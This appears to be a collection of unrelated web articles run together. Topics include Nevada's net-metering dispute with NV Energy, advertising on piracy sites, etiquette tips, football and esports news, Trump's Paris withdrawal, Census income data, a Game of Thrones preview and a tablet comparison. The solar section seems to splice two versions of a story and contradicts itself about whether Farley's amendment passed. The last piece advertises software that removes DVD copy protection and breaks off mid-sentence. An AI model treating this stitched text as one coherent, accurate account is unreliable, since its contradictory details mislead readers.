Rooftop solar customers receive a credit worth about 7 cents per kilowatt-hour for powering their homes and the grid with solar electricity. That credit is an incentive to go solar, but it’s also a means for consuming less power from NV Energy, biting into the company’s profit. The solar industry says a tariff and locked-in cap rate will kill the majority of the 6,000 jobs the industry brought to Nevada over the past five years and will limit consumer choice. Early in the legislative session, NV Energy unloaded a team of lobbyists to squelch any attempt to raise the cap. Solar followed with its own lobbying effort, congregating with a consortium of gaming and tech interests. The battle heated up after a bill draft to raise the cap to 10 percent died without a single public hearing or vote. Solar advocates met with lawmakers and the governor — whose outside advisers lobby for NV Energy — but had little success. Now, as time winds down in the session, only one solution is on the table — a punt. Republican Sen. Patricia Farley’s amendment to a building codes bill would allow the Public Utilities Commission to raise the solar cap and to impose up to three tariffs on net metering customers. The eleventh-hour measure was the only way to save the solar industry this session, Farley said. “It gave the solar industry a vehicle to start a discussion,” Farley said. The amendment cleared the Senate and is moving through the Assembly. The compromise is not ideal for companies such as SolarCity and Sunrun, which lease solar panels to customers who participate in net metering. Industry officials say proposed fees could hurt business by discouraging people from participating in a net metering program. Rooftop customers — who pay bills to both the utility and solar companies — pay about 20 percent less for solar than conventional energy, and the fees, industry leaders say, could bite into their cost savings. Adding fees and restricting the cap would be a big win for Berkshire Hathaway Energy and one of its few net metering successes nationally. Berkshire failed to impose caps in Utah and Washington. Arizona instituted a $5 to $7 net metering charge for homeowners. A fee is pending in Wisconsin. Colorado has no cap and no fees. In other words, utility companies in more than 40 states have unsuccessfully fought to eliminate net metering or impose fees. Much of the fight revolves around Nevada’s cap on net metering, an arrangement by which people with rooftop solar can sell extra power they generate back to the grid. Nevada is likely to hit its limit as early as this summer, solar advocates say, which will make it less advantageous for homeowners to tap the enormous solar energy potential of Southern Nevada. The Legislature seems to have sided with NV Energy. On May 17, it passed a solar bill that failed to raise the cap but gave Nevada’s regulatory Public Utilities Commission the ability to levy new fees on net metering customers who come online after the cap is hit. The new fees seem intended to protect NV Energy’s income from what the company has characterized as an unfair subsidy at the expense of nonsolar ratepayers. While NV Energy, owned by Warren Buffett’s Berkshire Hathaway, battles to keep the cap in place, it’s also fighting on another front. A consortium of casinos and businesses is looking to leave NV Energy’s grid and start generating their own power, saying they’re being placed at a competitive disadvantage because they’re paying more for energy than their business rivals in nearby states. The state Public Utilities Commission has said it would charge hefty fees — $27 million in the case of Las Vegas data center Switch — to let industrial ratepayers leave the system. Meanwhile, the utility is facing another threat in the form of technological advances. Tesla’s Powerwall unit, a relatively cheap storage battery that can charge up on solar power, can help business operators and homeowners reduce their reliance on the grid — or, for the very wealthy, leave it altogether. How the regulated monopoly came to be In exchange for building power plants, power lines, distribution networks and maintaining electrical systems, Nevada, like many states, gives public utilities an authorized rate of return. Here, that rate is about 8 percent, authorized by the Nevada Public Utilities Commission. NV Energy’s net income in 2014 was about $354 million, according to Berkshire Hathaway Energy’s SEC filings. NV Energy did not respond to a request for comment on this story. Giving a utility a regulated monopoly over generating and providing power is a compromise. The utility gets a guaranteed profit and in return gives access to everyone who needs it and ensures capacity for all users. It’s the commission that holds the utilities to the bargain, said Stephen Brown, director of the Center for Business and Economic Research at UNLV. “The utility doesn’t have an incentive to operate in the community interest,” Brown said. “That doesn’t mean they don’t, but that’s not their economic incentive. We’re relying on the utility commission to make sure that the utility operates in the public interest.” More rooftop solar production means more competition for NV Energy. The way competition disrupts the energy industry parallels the shift in the telecommunications industry, said Steven Weissman, director of the energy program at UC Berkeley’s Center for Law, Energy and the Environment. “It started with one monopoly utility and a black rotary dial phone in everybody’s home,” said Weissman, referring to AT&T and its monopoly on the U.S. telephone system until its breakup in 1984. By 1996, Weissman said, Congress forced companies to provide competitors access to infrastructure. And the emergence of mobile phone technology made the fight over access to landline infrastructure obsolete. “Now you have a whole generation of people who decide not to get a landline,” Weissman said. “If the phone companies were able to gain anything by resisting opening their networks to competitive providers, it was something of only limited duration. They didn’t create something that preserved their business model long-term.” The way AT&T and its descendents adapted to the loss of their monopoly was to spread into the broadband and mobile sectors, but big electric utilities have been comparatively slow to adapt to competition from new ways of producing power. “What utilities are doing is instinctively looking for ways to take this pesky new technology and bat it away,” Weissman said. Some companies want to produce their own power, but quitting the grid comes at a cost A group of Nevada companies wants to break from NV Energy and stop paying the utility for energy. Instead, the companies want to start generating and purchasing their own power and quit the grid. The group calls itself the Nevada Coalition to Protect Ratepayers and includes Las Vegas Sands and Wynn Resorts, solar companies SolarCity and Sunrun, and Switch. The utilities commission ruled this month that Switch would have to pay $27 million to leave the grid. Switch has asserted it should pay about $18 million. Borenstein said exit fees weren’t unjustified. “I’m sympathetic to the Public Utilities Commission’s view,” Borenstein said. “I would be suspicious of numbers utilities put out, but I don’t think it should be free for customers to just walk away … (They) built the grid to support customers, and there’s all these sunk costs. There may be stranded assets for which costs have to be recovered. When you leave, you have to bear some of those costs.” Yet the combination of limits on net metering programs and high exit fees seems to leave companies squeezed in the middle. Switch has said its energy costs in Nevada are 30 percent higher than competitors’ in nearby states. Some energy companies elsewhere are adapting to new technology and demands for clean energy and more distributed generation. In California, public utility Southern California Edison is testing how to integrate Tesla Powerwall users, both residential and commercial, with its grid. The utility is performing test runs with a small number of Powerwall users to see if the batteries can, in aggregate, be helpful to Edison’s grid needs. “The idea would be: How could a residential storage unit be used to help the grid?” said Kevin Payne, the utility’s senior vice president for customer service. “We could take power (from battery units) when necessary or inject power when it would be helpful to do that.” Payne said the ability to control a customer’s energy requirements or regulate the way customers pump power back into the grid could be a significant resource for the utility if battery storage users increase. In contrast to NV Energy’s resistance to distributed generation, Payne said Southern California Edison is adapting its vision for its power grid to incorporate new technological advances its customers might use. “The grid of the future is going to need to be upgraded and modernized,” Payne said. “Today … power flows from the top to the bottom. Going forward, the grid is going to have different characteristics: generation, solar or other, batteries, demand response. It’s going to require upgrades to the grid to see what’s happening and manage the two-way flow of power.” Arguments for and against legislative changes to solar Some say an increase in rooftop solar production would cause the traditional grid to collapse, others say solar would help meet power needs and help the state reach alternative energy mandates. Senate Bill 374, passed May 17, states that once the net metering cap is hit, new net metering customers will have to pay an additional tariff, to be determined by the Nevada Public Utilities Commission. That means anyone who installs a solar system on a roof after the cap is hit will pay higher rates to use and sell solar energy than net metering customers do now, though how much higher remains unclear. A bill proposed this year to raise the cap from 3 percent to 10 percent never passed. State Sen. Patricia Farley discussed an amendment to SB374 that would pass authority over the cap to the utilities commission, but the amendment wasn’t included in the final version of the bill. Solar industry representatives say the cap must be raised to allow for consumer choice and more industry jobs. “(People’s) consumer choices are driving the growth of a home-grown industry,” said Will Craven, a spokesperson for SolarCity, a solar power system provider and installer. “Rooftop solar jobs by definition must happen in-state.” Several solar advocates point to a study commissioned by the Nevada Public Utilities Commission as proving net metering benefits all customers — those who generate energy and traditional customers. What the state’s study, released last year, actually said was that it’s probably a wash. Net metering probably won’t ultimately cost non-participants more. Distributed generation may be more expensive than building large utility-scale solar plants, but Nevada is required to source 25 percent of its power from renewable sources by 2025, and power from net metering customers may offset the cost of buying renewable power or building more renewable energy plants. Many experts question whether distributed generation is the most cost-effective route for the state to invest in clean energy. Severin Borenstein, a University of California, Berkeley economist who specializes in energy regulation and energy markets, said neither solar industry advocates nor the public utility are being honest about real costs. With distributed generation, Borenstein said, “You lose the economies of scale. And the economies of scale are really large. The economics overall pretty clearly favor grid-scale generation, both wind and solar.” Borenstein said the way net metering is structured is indeed a subsidy. “You’re basically giving them (net metering customers) retail price credit for putting power into the grid,” Borenstein said. “If (the credit for power) were at wholesale rates, it wouldn’t be a subsidy.” Proper rate design — crafting fees to reflect the true costs and benefits of individual solar power generation — is key to fairness, Borenstein said. “Utilities say if you keep installing solar, the grid’s going to collapse and we’re going to go out of business,” Borenstein said. “There really isn’t much chance of that, and we should be a having a discussion about that, whether that’s the best way to put in renewables. Instead, you get politicians who are either boosting utilities or playing to the residential photovoltaic advocates with all this free consumer choice stuff. It’s not true consumer choice if you can just fall back on the grid and the rates don’t reflect the cost.” But in the fight between the utility and solar industry advocates, experts say, a real public discussion of the costs of distributed generation versus utility-scale clean power from solar and wind plants is being lost. What is net metering? The solar energy policy fight in Nevada revolves around a net metering cap, a limit on the amount of solar power that can be bought back from people or institutions with renewable energy systems. If a home or business generates more power from the sun than it uses in a month, NV Energy will buy the extra at retail power rates and give the customer a credit, the net of their power usage and power production. That means a homeowner with solar panels may be able to run his or her house largely on solar energy during the day and resell what he or she doesn’t use to the grid, seeing real reductions in energy costs. But there’s a limit on the amount of net metering the state allows, and solar advocates and solar industry companies say Nevada will hit the existing cap this year, perhaps as early as late summer. The cap is set at 3 percent of the utility’s peak capacity, or 225 megawatts. -Whether they know it or not, major advertisers are subsidizing online movie piracy, accelerating a trend in which illicit video streaming is eclipsing illegal P2P file sharing and downloading of copyrighted material. That's according to an upcoming study commissioned by Digital Citizens Alliance, a nonprofit organization with the stated goal of making the Internet a safer place. The study is a follow-up to a February 2014 report that pegged the collective annual revenue of the nearly 600 illegal movie sharing sites it sampled at $227 million. According to Variety, the report reveals that video streaming was the only piracy category to post annual revenue growth, even though the number of large streaming sites dropped by half from the previous year. The bigger culprits are the legitimate online ad networks. Speaking at last week’s Digital Entertainment World conference, DCA Executive Director Tom Galvin cited the high CPM rates (cost per 1000 impressions) associated with video ads as the primary reason for this spike in revenue. Most of that income came from major brands placing video advertising on those infringing streaming sites. Why this matters: Consumers are all too often blamed for movie piracy, but one of the key takeaways from this report is that consumers aren’t the primary revenue source for these illegal streaming sites. The bigger culprits are the legitimate online ad networks that place video ads on those sites, and the companies whose ads wind up there. Pampers, Tide, and Esurance were among the brands we saw advertised on the pirate site pictured above, and brands don't get more mainstream than that. While it could be argued that major companies such as these are relying on middlemen to place their ads, ignorance of whose pockets their advertising dollars are ending in up is no excuse. Last year, the DCA estimated that even some of the smaller pirate sites it looked at were collecting as much as $100 thousand a year from advertisements. Because those sites are paying zero dollars for the movies they’re streaming, the vast majority of that revenue goes directly to their bottom lines. Hollywood should also look to the bankers and payment processors between the ad networks and the pirate sites, who are taking their own slices of this illegitimate pie. Finally, Hollywood should take their customer's preferences into account. If people want to watch movies at home, why force them to find illicit ways of doing it? Make it easy, make it legal, and make some money! This story, "This pirated movie brought to you by Pampers" was originally published by TechHive . -10 ESSENTIAL RULES FOR BEING A GENTLEMAN IN 2015 Connor Doyle and Alice Gregg Man was not intended to live like a bear or a hermit; being a gentleman is about etiquette and decorum. What hasn’t changed in over a century is that a gentleman knows how to behave toward other people. We, the people of gentlemanliness, have collaborated to bring you the ultimate guide for being a modern gentleman in the year 2015. We’ve analyzed past works, such as A Gentleman’s Guide to Etiquette by Cecil B. Hartley, studied the cultures of our modern society, and taken into account the views and opinions of both women and men. This is the result. 1. IT’S NOT RUDE TO PAY FOR FOOD As part of modern etiquette when dining with a lady, you are both expected to do the “check dance” (regardless of who invited who), even if she doesn’t want to dance. But only accept her offer to pay for half if you sense she’d be genuinely uncomfortable otherwise. A gentleman respects women’s equality, but wishes to pay for the meal as a sign of appreciation. 2. PUT DOWN YOUR PHONE True, pretty much our entire lives are on our phones - but when you’re with someone else, devote your time and energy to being present and engaged with them, instead of with your device. All of your feeds can wait to hear about how your friend was chased down the street by someone dressed as a horse. 3. SAVE YOUR INNER LAWYER FOR THE COURTROOM A gentleman understands the freedom of expression and thought, allowing others the entitlement of their own ideas. Even if convinced that your opponent is utterly wrong, graciously decline further engagement or dexterously turn the conversation - do not obstinately defend your own opinion until you become angry. You don’t see The Hulk invited to soirees. 4. DRESS LIKE YOU KNOW WHAT YOU’RE DOING Dressing well is a form of good manners. Don’t settle for shirts with baggy waists, too short sleeves, or too tight collars. From a hiking trip to a keynote speech, a true gent always knows how to look good. Unless you actually find a store with clothes that actually fit off the rack, go custom. People will notice. Life’s too short for bad shirts: awesome shirts here and special offer here. 5. SO YOU THINK YOU CAN’T DANCE? A true gent doesn’t stand idle, observing from a corner: you can probably already see the problem with this… creepy. Take a class and embrace your inner Fred Astaire. Dancing, much like life, is about courage and hopefully having fun - and remember, elaborate flamboyant arm movements disguise a lack of footwork. 6. LEARN HOW TO CONVERSE Two year olds can have one word conversations. A gentleman should be engaged, thoughtful, and captivating. But do not steal the spotlight from others. Many people enjoy talking about themselves, so stay engaged, yet do more of the listening - and when they tell you some grandiose anecdote, let them have their moment. Don’t be a one-upper. 7. TO COFFEE OR NOT TO COFFEE If the date has gone well, she might invite you up for coffee - or down; dating women who live in basement apartments is perfectly acceptable. The rule is if you’re not planning on calling her again or think that you might view her differently for having coffee on the first date, then do politely turn down the invitation. Do the right thing. 8. WATCH YOUR (DAMN) MOUTH Endeavour to find words that express your ideas eloquently. A gentleman does not require offensive language to speak; for those who use words such as “gay”, “retarded”, or “ghetto” to describe something in a negative light not only adhere to stereotypes, but also show a lack of vocabulary and intellect. Cut back on that Hatorade. It’s a resentful beverage that too many fools drink. 9. KEEP THE CLASSICS Chivalry is dead. Common courtesy is not. Some rules to being a gentleman will never change and should always be followed. The two biggest of which are opening/holding the door for other people and giving up your seat when there are no more seats, both in this order: an older lady, an older man, a lady. 10. BE A GOOD PERSON This is everything else and it should be self explanatory, but we’ll go ahead and help you a bit more anyway. Be compassionate and show respect towards everyone. Don’t belittle or take advantage of others, ignore stereotypes, and understand that people from all walks of life are equal. It’s what we do that defines us. That, and really nice shirts. -Garry Monk took over Middlesbrough after parting ways with Leeds United New Middlesbrough manager Garry Monk has announced a new five-man backroom team. Ex-England striker James Beattie and former Swansea City coach David Adams have been hired as first-team coaches while Darryl Flahavan has been named goalkeeping coach, having worked alongside Monk at Leeds United last season. In addition, Sean Rush joins the club as head of physical performance, while Ryan Needs comes in as head of performance analysis. All five new members of the coaching staff have previously worked with Monk at Swansea City and Leeds United. "It's important as a manager that you build staff around you to work with you to deliver what is needed to be delivered," said Monk. "We have great experience together as a group - we've worked together for a good period - and they have a good understanding of what I expect and how we work together. "As you go through your career, you're consistently looking to refine and improve things and we're all on that journey together. "The guys have the skill sets that we need to be able to cover all bases and there's also the importance of being able to rely on them with the responsibilities they will have." -We caught up with Luka "perkZ" Perković, Gamer2's midlaner, to learn something about him now that he qualified for LCS. Although he's still in high school, perkZ showed us you always have a chance to do what you love and is an inspiration to lots of us. Image courtesy of gamepedia.com Hi Luka, thank you for participating in this interview. Tell us something little about yourself. perkZ: Hello, my name is Luka Perković and I'm playing League of Legends for 3 and a half years. I qualified for LCS two months ago but I'm still attending high school in Zagreb. Regardless your age, could you say that you are living your dream? Where do you see yourself in the future? perkZ: I wouldn't say that this is my dream, but it's definitely something I enjoy doing. In near future, I can see myself playing professionally, yet later on I wish to go to college. How do you manage to harmonize school, League of Legends and social life? perkZ: I organize my time well, but I spend most of it playing League of Legends. Since you live far away from your teammates, is it hard to maintain a friendly relationship with them? perkZ: From my point of view, if you're having fun with people over the internet, you will be having fun with them in real life too. I never had any troubles with my teammates and I don't think I will in the future. You are currently living in Zagreb, Croatia, where you were born. What do you think of competitive scene in Croatia? Do Croatians accept eSports with the same enthusiasm like most of the world? perkZ: Esports scene is not yet developed in Croatia and I think there aren't enough professional players here for the country to develop soon. Do you plan to move somewhere because of League of Legends anytime soon? perkZ: I will be moving to Berlin this January. Do you have your parents support about moving out so young to professionally play a game? perkZ: Yes, I have my parent’s full support. Image courtesy of Luka Perković (twitter.com) In your opinion, which champions are best for mid lane in current meta? perkZ: Kassadin, Ryze, Azir and Lulu. Do you think that the upcoming season changes will drastically affect the gameplay? perkZ: I'm not yet sure if they will, but I do hope so. Against which midlaner do you think you have a great chance to win, and against which one to lose? perkZ: I wouldn't like to talk about my chances against some midlaners and about their skills, but I'm mostly looking forward to play against Nukeduck and Febiven. And for the last question, tell us, who was your greatest support through your journey to eSports scene? Would you like to thank someone? perkZ: My greatest support through my whole journey was Joe "InnerFlame" Elouassi, current manager of Team Dignitas. Thank you, Luka. We wish you all the best in your upcoming matches. -To President Donald Trump, backing out of the Paris deal was a message to the rest of the world that the United States would not be held to terms he doesn't like in international deals. | AP Photo Trump supporters revel in Paris exit Bannon's fingerprints on decision to leave climate agreement, a decision supporters say is broadly supported outside Washington. President Donald Trump's decision to leave the Paris climate agreement received a similar reaction to his travel ban: international scorn, widespread protests and condemnations from groups and business executives who often stay quiet. To Matt Ames, though, it was a reason to celebrate — and he is helping plan a rally near the White House to celebrate Trump on Saturday. Story Continued Below "The thinking is there is very strong sentiment within the party in favor of the president's decision yesterday on Paris Accord," said Ames, the chairman of the Fairfax County Republican Party in Virginia. "We want to go make some noise and tell him how much we appreciate it. There seemed to be a tug-of-war, and it didn't appear it was going to happen." Withdrawal from the accord, like the travel ban, was spearheaded internally by Steve Bannon, the president's chief strategist. But White House officials, advisers and others close to the president say Bannon's job of convincing Trump is easier because the president has a natural tendency to take the same path as he — and that while Bannon irked the president with his behavior in the West Wing, Trump has never left him ideologically. While the president often crows about Gary Cohn's success at Goldman Sachs, and may talk to his daughter, Ivanka Trump, more than anyone, Trump often gravitates toward the Bannon modus. Bannon supporters note enthusiastically that the so-called moderates in the West Wing don't have much luck getting their way. It is less about his friendship with Bannon — who didn't respond to a request for comment — or his personal opinion of him on any given day, advisers and aides say. The combative chief strategist has repeatedly told Trump his base is solid, that liberals will never love him, the large crowds voted for him for a reason — and that he will be rewarded for keeping campaign promises. He reminds him of his populist credo and the large crowds at rallies. Morning Energy newsletter The source for energy and environment news — weekday mornings, in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time. Bannon has reminded other White House aides that the travel ban is far more popular "than the media will ever say," according to one person who has spoken to him. He has teamed up with Trump in criticizing the news media. In interviews with Trump supporters and Republicans across the country, the Paris climate agreement news looked far different than it did in Washington, a fact that Bannon reminded the president of, according to a senior White House aide. Jenny Beth Martin, the head of the Tea Party Patriots, enthusiastically supported the move. She said her group viewed leaving the Paris agreement as a “part of a larger ‘make America Great Again’ platform that necessitates putting America first.” And Trump supporters said backing for the move was widespread outside of Washington. "I was in the Midwest yesterday, in Pennsylvania, Ohio and Michigan," said Ken Blackwell, who headed domestic policy on Trump's transition. "It played very well. It was exceptionally Trumpian. It was a very good day for him." Among Democrats and some Republicans, the move was seen as short-sighted and horrific. Nicaragua and Syria are the only other nations not in the climate accord. The United States' allies could see a damaging signal on how serious climate change is. It gives other countries — like China — the ability to lead over the United States. And some see Bannon as he is portrayed on "Saturday Night Live": the "Grim Reaper" ruining the United States. "It's sending the planet spiraling in an awful direction," said Bill Burton, a former Obama aide. "You're killing off innovation and you're saying in a time of crisis, we need to lean on other countries." To Trump, it was a message to send to the rest of the world that the United States would not be held to terms he doesn't like in international deals. And it was a good way to heap scorn on climate change — which is proven by science but a flash-point among Republicans -- while talking about creating new jobs for blue-collar workers. "Pittsburgh, not Paris -- he couldn't have said it better," Ames, the Virginia Republican, said. "That line really really resonated with a lot of people." Burton, the Democratic strategist, said Trump's move works for him "from a brand perspective" because it's about sticking it to the establishment. He also said Democrats may struggle to tie the move to everyday Americans — and he believed it would ultimately could prove less consequential than other decisions. "But at some point, you have to find ways to put points on the board that appeal past your core base. He has shown himself completely inept at doing that so far," he said. "If you keep doing things that are broadly unpopular, it weighs on you." After the travel ban, Bannon told others he relished seeing the protests on TV. Bannon has told friends he "doesn't give a shit about" the Grim Reaper portrayal on "Saturday Night Live," in the words of one person who has spoken to him. More protests are likely to come tomorrow when Trump's supporters line up outside the White House for a campaign-style rally. The president, however, did not enjoy the protests last time. And he may be watching TV, too. -North Dakota was the great ex­cep­tion to the Great Re­ces­sion. The only area in the coun­try that saw both a wide­spread sig­ni­fic­ant in­crease in house­hold in­comes and a sig­ni­fic­ant de­crease in poverty rates over the past five years was North Dakota, spe­cific­ally West­ern North Dakota, ac­cord­ing to 2012 data the U.S. Census Bur­eau re­leased and mapped out on Thursday. Me­di­an house­hold in­comes in more than half the counties in the state, in­clud­ing most on the west­ern side, where oil pro­duc­tion is boom­ing, are high­er today than be­fore the re­ces­sion began in 2007, and they’re also high­er in ob­ject­ive mon­et­ary terms than most of the rest of the coun­try. House­hold in­comes are also up in South Dakota. West­ern North Dakota’s oil patch is one of the few places that not only weathered the Great Re­ces­sion, but thrived. See the full ver­sion of this map. Over the past five years, since 2007, 62 per­cent of all counties in North Dakota saw in­creases in their me­di­an house­hold in­comes, and 33 per­cent in South Dakota saw in­creases. “One could say that these two states rep­res­en­ted nearly 50 per­cent of all counties which showed a stat­ist­ic­ally sig­ni­fic­ant in­crease in me­di­an house­hold in­come,” the bur­eau finds. By con­trast, of the oth­er 3,000-plus counties na­tion­wide, just 56 had a sim­il­ar “stat­ist­ic­ally sig­ni­fic­ant in­crease” in house­hold in­comes. Of all the counties that had a sig­ni­fic­ant change in in­come levels, 89 per­cent saw de­clines. West­ern North Dakota is one of the few areas out­side of the North­east and Mid-At­lantic re­gions that has counties with house­hold in­comes above the na­tion­al av­er­age, which was $51,371 in 2012. West­ern North Dakota was also one of the few areas where the poverty rate de­creased over the past five years, to be well be­low the na­tion­al av­er­age of 15.9 per­cent. The Census Bur­eau doesn’t say what is caus­ing North Dakota to stand out as it clearly does in its maps. But the oil boom that’s taken over the west­ern part of the state — and is hav­ing ripple ef­fects throughout the re­gion and the rest of the U.S. — is in­dis­put­ably a huge eco­nom­ic driver. -Nothing riles up fans more than other fans shaming them for not being good, loyal fans. Or for people to claim that they have some special monopoly on being good fans. But given that riling people up is part of our #Brand here at HBT, we usually pass on the results of that annual survey which purports to measure such things. Brand Keys, a consulting firm or marketing firm or something, puts the list together by somehow measuring the “four emotional drivers” of fan loyalty, which are (1) Pure Entertainment; (2) Authenticity; (3) Fan Bonding; and (4) History and tradition. These are mixed in a pot with things like overall league and team rankings, viewership and merchandise sales and then this comes out like so. So basically, there’s no way to dispute their findings. We can just argue about them. Top 5 Teams for the most loyal fans this year, with last year’s rankings in parentheses: 1. St. Louis Cardinals (#1) 2. Los Angeles Dodgers (#3) 3. San Francisco Giants (#2) 4 Detroit Tigers (#4) 5. Washington Nationals (#5) The bottom five with last year’s rankings in parenthesis: 30. Seattle Mariners (#25) 29. Arizona Diamondbacks (#29) 28. Colorado Rockies (#28) 27. San Diego Padres (#24) 26. Houston Astros (#30) Worth noting that the Phillies led the list for “most loyal” on Opening Day 2011, which I think was probably the height of Philly fan enthusiasm. I don’t think enthusiasm and loyalty is the same thing, though. Most Philly fans I know are still loyal to their team. They’re just realistic that they suck. Same in reverse for the Mets, who used to — heck, maybe still do — have a singularly neurotic and pessimistic fan base but no one can doubt their loyalty. Indeed, if you’re not loyal you don’t allow yourself to be emotionally connected to the bad stuff enough to let it bother you. That makes the “fan bonding” and “entertainment” parts of this thing suspect. You can be a loyal fan even if your team has been hostile to you and is more misery inducing than entertaining. And of course, all of this assumes that “loyalty” is an unequivocally great thing anyway. You don’t get a reserved spot in heaven, get your karma reduced or get holes punched in some sort of cosmic rewards card just for being loyal to your team. I know the whole Sports is Everything Industrial Complex has convinced people that loyalty is everything, but it’s actually pretty silly. If you’re the sort of fan who watches the sports team you like up to the point they entertain you and make it worth your time and then tune out when the balance is off you’re not a better or worse person. If you put yourself through the ringer for them, no matter the situation, you’re neither of those things either. Let sports be your thing in your own way and don’t listen to people who would tell you different. Follow @craigcalcaterra -Each week Bob and Ivey take a trip Beyond the Wall to discuss HBO's 'Game of Thrones' from the perspective of fans of the books. If you've not read the books, tread lightly, as there are spoilers everywhere, sweet summer child. This week, we make several bold predictions about what will happen in season two. Well, sports fans, it all comes down to this. Sunday marks the highly anticipated premiere for the second season Game of Thrones. For the past several weeks, Bob and I have been previewing the upcoming season, which will follow George R. R. Martin’s A Clash of Kings. We’ve looked back at the first season, talked about the casting of the new roles, previewed our most anticipated moments and discussed areas where we expected the series to deviate from the source material. This week, we have several bold predictions for what we believe the second season might bring. As usual, a spoiler alert is in effect, as we will obviously be discussing events in Clash, and might look ahead to events beyond the second book. Ivey: Let me kick things off; in the first season, Peter Dinklage had a breakout performance as Tyrion Lannister. Fans of the book have almost universally been fans of the Imp of Casterly Rock, but I believe Dinklage’s performance endeared him to television viewers even more (to the tune of an Emmy win for Supporting Actor). This season, I expect Davos Seaworth will be the breakout character. The first time I read through A Song of Ice and Fire, I never really connected with the Onion Knight. I expect things to be different on screen. Bob: Hmm. You could be right. I always liked Davos. There’s something about a rough around the edges ex-pirate, but I’m not sure he’s going to be the story. My money is on Brienne. She’s the ultimate underdog up against so much hardship and yet she always struggles on. Add to that the fact that she is a bit of a badass and I think she’s going to be the one folks are talking about around the water cooler. Ivey: Perhaps; I’m just not sure Brienne will have enough story this season for that to happen. If we’re talking about seasons three and four, then I think she (and her companion on that journey) will have to be the favorites. Bob: We’ll have to see. I think one thing that is going to disappoint fans is Dany’s story this year. If the show follows the book, there just isn’t a lot for Dany to do. She had a lot of story in season one. Yes, there’s going to be a fantastic scene in the House of the Undying, but her story doesn’t really pick up again until book three. Perhaps the writers will prove me wrong, but Dany kicking around Qarth with her little baby dragons is going to be a little dull, methinks. Ivey: I couldn’t agree with you more — though I’d extend that prediction beyond just this season, but that is a conversation for another column. Though, as we’ve discussed, I am really looking forward to the House of the Undying. While Dany’s story might be lacking in the novel, Melisandre’s is decidedly not. I know you’re really looking forward to her boat trip with Davos, however I have a feeling that Melisandre will be far less interesting in the series than she is on the written page. Sometimes the mystery is lost when you pull a certain scene or character out of one’s imagination and puts it on the screen. Such will be the case with the red priestess. Bob: It’s entirely possible. From the look of the character, it appears that she is going to be a little toned down. I’m expecting a character that is more mysterious and less intimidating and sinister. In the book, with the struggle between Davos and Melisandre, she came across as wicked and powerful. My guess is that for most of the season (until she starts summoning up some shadows), she will be more of a quiet mystery. Whether that means she’s less interesting or not … I’m not sure. I think one character that is going to get more interesting this season is Robb. He wasn’t even a POV character in A Clash of Kings so most of his story was told through the yes of others. I think that with the story of his and Jeyne’s romance at the forefront, along with his leadership as King of the North, he’s going to come out of this season with more fans than he had in the book. Ivey: I think so, too. I’m not sure Robb was ever as well loved by ASOIF fans as his father was, but I think that is something that has changed on-screen. The decisions Robb makes this season, specifically regarding Jeyne, obviously have major effects down the road. I’m glad we’ll get a chance to see that play out, instead of only hearing about it after the fact. Another character I think fans will appreciate less this year is Bran. Let’s face it, brave-faced as he might have been last season, he was still a bit of a whiney brat (though less so than the lion’s share of his siblings). If it hadn’t been for the tragedy he experienced in the series premiere, I’m not sure fans would have tolerated him at all. Considering the changes he experiences this season – or at least become more obvious – aren’t something I think fans will be expecting, I’m not sure how much they’ll like it. At least, that was my reaction as a reader. What do you think? Bob: I’m not really sure. I could see it going either way. I think that because of the situation, he’s going to be forced to grow up a little and be less of a whiner. Bran’s story has always struck me as one of the very long arcs in the books and it’s going to be interesting to see that translate to the screen. I think that we probably won’t see a whole lot of the young Stark this year and when we do it will be concentrated on the three-eyed crow plot, which I have always found interesting. People like giant wolves, dude. Ivey: Well, I’ve seen some of the second season, and I have to admit I didn’t hate how they conceptualized Bran’s … dreams. We did get a little more negative than I’d expected; any last minute words of positivity? Bob: It’s still one of the best shows on TV. This is all nitpicking, my friend. I can’t wait for the new season to start! Ivey: Indeed … nitpicking is often about as useful as nipples on a breastplate, but it can be fun. We’ll see you back here next week as we discuss episode one, “The North Remembers.” Photo Credit: Helen Sloan/HBO -It's well-known that the more adorable and charismatic of the endangered animals get most of the funding. That doesn't mean the cute animals, like the iconic panda, aren't worth saving, but it leaves a lot of the less photogenic but just as important animals out in the cold. Who's interested in saving the Brazilian bald-faced tamarin, which looks like a cross between a rabid monkey and a bat? Or the Komodo dragon, a 10-foot-long murderous lizard that's the embodiment of just about every childhood nightmare you ever had? That's where the Ugly Animal Preservation Society comes in. It's an awareness campaign that uses comedy to bring attention to animals like the pig-nosed frog, pictured above, which may otherwise have trouble getting funding. The UAPS holds live events, where a combination of London comics and scientists discuss one ugly endangered animal of their choice. At the end of the show, the audience votes to decide which of those animals will become the mascot for each individual chapter of the UAPS. They don't seem to be directly donating money; instead, the aim is to raise awareness, with the hopes that it will eventually lead to donations elsewhere. -Samsung Releases Galaxy Tab S to Compete with iPad Air? Samsung has always been focused on building the ultimate experience for smartphone and tablet users. On the day of 2014 World Cup opening ceremony, Samsung also officially released its first flagship tablet - Samsung Galaxy Tab S. The core technology inside is the Super AMOLED (Active-matrix organic light-emitting diode) instead of traditional LCD(Liquid Crystal Display) that used by most of tablets including iPad Air. With super-high 2560 x 1600 resolution, Tab S provides straight-up gorgeous display to let HD video look great. Make no mistake: The key selling point of Samsung Galaxy Tab S is the highest resolution up till now to compete with iPad Air. Besides its Super AMOLED, what else breakthroughs does Galaxy Tab S produce compared with iPad Air? Read on, DVDSmith will bring you a full range of comparative analysis. No matter which one is your preference, Samsung Galaxy Tab S or Apple iPad Air would be a good choice for you to enjoy great entertainment experience. But it makes sense that Galaxy Tab S pays more attention on display (size, resolution, type) and battery life from the above comparison, which provide you with more marvelous visual treat. Except for downloading videos directly from websites, the vast majority of movie fans usually watch their DVDs which make them feel much better for some reason. Are you interesting in watching your favorite movie DVDs on Samsung Galaxy Tab S? Any DVD Cloner Platinum can help you to do it. >>Windows Users: Any DVD Cloner Platinum<< >>Mac Users: Any DVD Cloner Platinum for Mac<< IMAGE-TEXT Tutorial about Watching DVDs on Samsung Galaxy Tab S with Any DVD Cloner Platinum Any DVD Cloner Platinum is a powerful combination of DVD cloner and DVD ripper. As a DVD cloner, it provides 4 flexible copying modes to copy, clone or compress DVD to DVD, DVD folder or ISO image with all protections decrypted and removed. As a DVD ripper, it can rip any DVD to MP4, M4V, AVI, M2TS, HTML5 embedded video, easy to convert encrypted DVDs to videos supported by popular devices likeiPhone 5S/5C iPad, Samsung Smartphone,Android tablet, etc. Only above 2 steps, movie DVD converter can convert all of your favorite DVDs to videos for enjoying on Galaxy Tab S. Extra Tips: You might wonder how to transfer DVD movies to your iPhone/ipad/ipod, don't 